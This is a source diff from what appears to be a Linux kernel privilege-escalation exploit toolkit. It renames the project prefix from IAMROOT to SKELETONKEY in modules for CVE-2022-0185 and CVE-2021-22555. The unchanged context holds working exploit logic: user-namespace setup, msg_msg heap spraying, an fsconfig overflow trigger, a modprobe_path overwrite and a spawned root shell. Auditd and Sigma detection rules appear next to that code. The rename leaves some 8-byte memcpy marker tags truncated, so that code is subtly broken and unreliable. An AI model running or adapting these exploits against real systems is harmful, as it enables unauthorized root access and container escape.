/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||||
@@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
||||||
@@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
int userns_ok = can_unshare_userns_mount();
|
||||||
@@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
|
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
|
||||||
@@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
|
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
|
||||||
"docker/podman/snap setups\n");
|
"docker/podman/snap setups\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
@@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
|
|||||||
* On a vulnerable host with matching offsets this path can land the
|
* On a vulnerable host with matching offsets this path can land the
|
||||||
* write; on an unverified host the sanity gate refuses rather than
|
* write; on an unverified host the sanity gate refuses rather than
|
||||||
* blind-writing a wild pointer. The finisher's downstream
|
* blind-writing a wild pointer. The finisher's downstream
|
||||||
* "/tmp/iamroot-pwn ran?" check is the second gate.
|
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
|
||||||
*/
|
*/
|
||||||
struct fuse_arb_ctx {
|
struct fuse_arb_ctx {
|
||||||
/* Pre-allocated queue ids from the spray phase. */
|
/* Pre-allocated queue ids from the spray phase. */
|
||||||
@@ -371,7 +371,7 @@ struct fuse_arb_ctx {
|
|||||||
int n_queues;
|
int n_queues;
|
||||||
int hole_q;
|
int hole_q;
|
||||||
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
||||||
const char *tag; /* "IAMROOT" */
|
const char *tag; /* "SKELETONKEY" */
|
||||||
/* Whether the first-round trigger already fired (the parent's
|
/* Whether the first-round trigger already fired (the parent's
|
||||||
* default-path overflow). When set we re-spray + re-fire; when
|
* default-path overflow). When set we re-spray + re-fire; when
|
||||||
* unset we assume the spray is hot. */
|
* unset we assume the spray is hot. */
|
||||||
@@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* exploit */
|
/* exploit */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* (R1) Re-call detect — refuse if not vulnerable. */
|
/* (R1) Re-call detect — refuse if not vulnerable. */
|
||||||
iamroot_result_t pre = fuse_legacy_detect(ctx);
|
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
|
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
|
||||||
* which is what fsopen("cgroup2") + fsconfig require. */
|
* which is what fsopen("cgroup2") + fsconfig require. */
|
||||||
if (!enter_userns_root()) {
|
if (!enter_userns_root()) {
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
|
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
|
||||||
@@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* to land write-past-end into the next adjacent msg_msg.
|
* to land write-past-end into the next adjacent msg_msg.
|
||||||
*
|
*
|
||||||
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
|
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
|
||||||
* shape but with knobs scaled for an iamroot one-shot.
|
* shape but with knobs scaled for an skeletonkey one-shot.
|
||||||
*/
|
*/
|
||||||
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
|
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
|
||||||
int *qids = calloc(N_QUEUES, sizeof(int));
|
int *qids = calloc(N_QUEUES, sizeof(int));
|
||||||
if (!qids) {
|
if (!qids) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
|
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
for (int i = 0; i < N_QUEUES; i++) {
|
for (int i = 0; i < N_QUEUES; i++) {
|
||||||
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||||
@@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (spray == MAP_FAILED) {
|
if (spray == MAP_FAILED) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
|
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
|
||||||
free(qids);
|
free(qids);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
spray->mtype = 0x4242;
|
spray->mtype = 0x4242;
|
||||||
/* Tag the payload so we can recognise our spray slots in
|
/* Tag the payload so we can recognise our spray slots in
|
||||||
@@ -614,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
char *first_chunk = malloc(4081);
|
char *first_chunk = malloc(4081);
|
||||||
if (!first_chunk) {
|
if (!first_chunk) {
|
||||||
free(qids); munmap(spray, sizeof *spray);
|
free(qids); munmap(spray, sizeof *spray);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
memset(first_chunk, 'A', 4080);
|
memset(first_chunk, 'A', 4080);
|
||||||
first_chunk[4080] = '\0';
|
first_chunk[4080] = '\0';
|
||||||
@@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* step below. */
|
* step below. */
|
||||||
char evil_chunk[256];
|
char evil_chunk[256];
|
||||||
memset(evil_chunk, 'B', sizeof evil_chunk);
|
memset(evil_chunk, 'B', sizeof evil_chunk);
|
||||||
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
|
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
|
||||||
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
|
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
|
||||||
evil_chunk[sizeof evil_chunk - 1] = '\0';
|
evil_chunk[sizeof evil_chunk - 1] = '\0';
|
||||||
|
|
||||||
@@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
|
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
|
||||||
errno, strerror(errno));
|
errno, strerror(errno));
|
||||||
free(qids); munmap(spray, sizeof *spray);
|
free(qids); munmap(spray, sizeof *spray);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* (see fuse_arb_write). On a host where offsets + groom land,
|
* (see fuse_arb_write). On a host where offsets + groom land,
|
||||||
* the finisher's modprobe_path overwrite → execve(unknown) →
|
* the finisher's modprobe_path overwrite → execve(unknown) →
|
||||||
* call_modprobe chain pops a root shell. On a mismatched host
|
* call_modprobe chain pops a root shell. On a mismatched host
|
||||||
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
|
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
|
||||||
* fabricated success.
|
* fabricated success.
|
||||||
*
|
*
|
||||||
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
||||||
@@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"kernel offsets...\n");
|
"kernel offsets...\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
int resolved = iamroot_offsets_resolve(&off);
|
int resolved = skeletonkey_offsets_resolve(&off);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
||||||
"(modprobe_path=0x%lx source=%s)\n",
|
"(modprobe_path=0x%lx source=%s)\n",
|
||||||
resolved, (unsigned long)off.modprobe_path,
|
resolved, (unsigned long)off.modprobe_path,
|
||||||
iamroot_offset_source_name(off.source_modprobe));
|
skeletonkey_offset_source_name(off.source_modprobe));
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("fuse_legacy");
|
skeletonkey_finisher_print_offset_help("fuse_legacy");
|
||||||
/* Cleanup before returning. */
|
/* Cleanup before returning. */
|
||||||
for (int q = 0; q < N_QUEUES; q++) {
|
for (int q = 0; q < N_QUEUES; q++) {
|
||||||
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
||||||
@@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
free(qids);
|
free(qids);
|
||||||
munmap(spray, sizeof *spray);
|
munmap(spray, sizeof *spray);
|
||||||
if (fsfd >= 0) close(fsfd);
|
if (fsfd >= 0) close(fsfd);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct fuse_arb_ctx ax = {
|
struct fuse_arb_ctx ax = {
|
||||||
.qids = qids,
|
.qids = qids,
|
||||||
.n_queues = N_QUEUES,
|
.n_queues = N_QUEUES,
|
||||||
.hole_q = hole_q,
|
.hole_q = hole_q,
|
||||||
.tag = "IAMROOT",
|
.tag = "SKELETONKEY",
|
||||||
.trigger_armed = true,
|
.trigger_armed = true,
|
||||||
};
|
};
|
||||||
|
|
||||||
iamroot_result_t fr = iamroot_finisher_modprobe_path(
|
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
|
||||||
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
||||||
|
|
||||||
/* Cleanup IPC + mapping regardless of finisher result. The
|
/* Cleanup IPC + mapping regardless of finisher result. The
|
||||||
@@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
munmap(spray, sizeof *spray);
|
munmap(spray, sizeof *spray);
|
||||||
if (fsfd >= 0) close(fsfd);
|
if (fsfd >= 0) close(fsfd);
|
||||||
|
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) {
|
if (fr == SKELETONKEY_EXPLOIT_OK) {
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
||||||
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
|
|
||||||
@@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"popping root shell\n");
|
"popping root shell\n");
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
execl("/bin/sh", "sh", "-i", (char *)NULL);
|
execl("/bin/sh", "sh", "-i", (char *)NULL);
|
||||||
perror("execl /bin/sh");
|
perror("execl /bin/sh");
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
|
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
|
||||||
"not wired — see source for the missing offsets.\n");
|
"not wired — see source for the missing offsets.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
@@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
static const char fuse_legacy_auditd[] =
|
static const char fuse_legacy_auditd[] =
|
||||||
"# CVE-2022-0185 — auditd detection rules\n"
|
"# CVE-2022-0185 — auditd detection rules\n"
|
||||||
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
|
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
|
||||||
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
|
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
|
||||||
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
|
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
|
||||||
|
|
||||||
static const char fuse_legacy_sigma[] =
|
static const char fuse_legacy_sigma[] =
|
||||||
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
|
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
|
||||||
"id: 9e1b2c45-iamroot-fuse-legacy\n"
|
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||||
@@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||||
|
|
||||||
const struct iamroot_module fuse_legacy_module = {
|
const struct skeletonkey_module fuse_legacy_module = {
|
||||||
.name = "fuse_legacy",
|
.name = "fuse_legacy",
|
||||||
.cve = "CVE-2022-0185",
|
.cve = "CVE-2022-0185",
|
||||||
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
|
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
|
||||||
@@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_fuse_legacy(void)
|
void skeletonkey_register_fuse_legacy(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&fuse_legacy_module);
|
skeletonkey_register(&fuse_legacy_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||||
|
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module fuse_legacy_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -18,7 +18,7 @@ Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
|
|||||||
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
|
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
|
||||||
4.9.266 / 4.4.266.
|
4.9.266 / 4.4.266.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
|
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
|
||||||
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
|
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
|
||||||
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module netfilter_xtcompat_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+71
-71
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module
|
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
|
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
|
||||||
* compat handler for iptables rule export wrote up to 4 bytes
|
* compat handler for iptables rule export wrote up to 4 bytes
|
||||||
@@ -26,18 +26,18 @@
|
|||||||
* - Trigger sequence: hand-rolled iptables rule blob with
|
* - Trigger sequence: hand-rolled iptables rule blob with
|
||||||
* malformed xt_entry_target offset; setsockopt fires the OOB.
|
* malformed xt_entry_target offset; setsockopt fires the OOB.
|
||||||
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
|
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
|
||||||
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
|
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
|
||||||
* cookies for KASAN visibility.
|
* cookies for KASAN visibility.
|
||||||
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
||||||
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
|
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
|
||||||
* - With --full-chain: shared finisher (core/finisher.c) is
|
* - With --full-chain: shared finisher (core/finisher.c) is
|
||||||
* invoked to perform the modprobe_path overwrite + execve
|
* invoked to perform the modprobe_path overwrite + execve
|
||||||
* unknown-binary trigger. Requires modprobe_path resolution
|
* unknown-binary trigger. Requires modprobe_path resolution
|
||||||
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
||||||
* check in the finisher is the empirical witness for the
|
* check in the finisher is the empirical witness for the
|
||||||
* write landing — IAMROOT never claims root unless it sees
|
* write landing — SKELETONKEY never claims root unless it sees
|
||||||
* the setuid bash drop with mode 4755 + uid 0.
|
* the setuid bash drop with mode 4755 + uid 0.
|
||||||
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
|
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
|
||||||
* the primitive demo (verified-vs-claimed bar).
|
* the primitive demo (verified-vs-claimed bar).
|
||||||
*
|
*
|
||||||
* Affected: kernel 2.6.19+ until backports landed:
|
* Affected: kernel 2.6.19+ until backports landed:
|
||||||
@@ -56,7 +56,7 @@
|
|||||||
* (almost always autoload-able on default-config kernels)
|
* (almost always autoload-able on default-config kernels)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -94,7 +94,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||||
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
|
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
|
||||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
||||||
* constants are absent on Darwin; stub them so the .c file compiles
|
* constants are absent on Darwin; stub them so the .c file compiles
|
||||||
* cleanly under either toolchain. The actual exploit body is gated
|
* cleanly under either toolchain. The actual exploit body is gated
|
||||||
@@ -152,12 +152,12 @@ static int can_unshare_userns(void)
|
|||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
||||||
@@ -165,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
||||||
@@ -173,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -190,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||||
"unprivileged exploit path unreachable\n");
|
"unprivileged exploit path unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
|
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
|
||||||
"AND user_ns reachable\n");
|
"AND user_ns reachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||||
@@ -252,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
|||||||
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
||||||
if (!p) return 0;
|
if (!p) return 0;
|
||||||
p->mtype = 0x42;
|
p->mtype = 0x42;
|
||||||
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
|
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
|
||||||
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
|
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
|
||||||
* and in KASAN/oops dumps. */
|
* and in KASAN/oops dumps. */
|
||||||
memset(p->buf, 0x41, sizeof p->buf);
|
memset(p->buf, 0x41, sizeof p->buf);
|
||||||
memcpy(p->buf, "IAMROOT2", 8);
|
memcpy(p->buf, "SKELETONKEY2", 8);
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
|
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
|
||||||
@@ -278,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* Walk every queue, peek-copy each message (MSG_COPY = read without
|
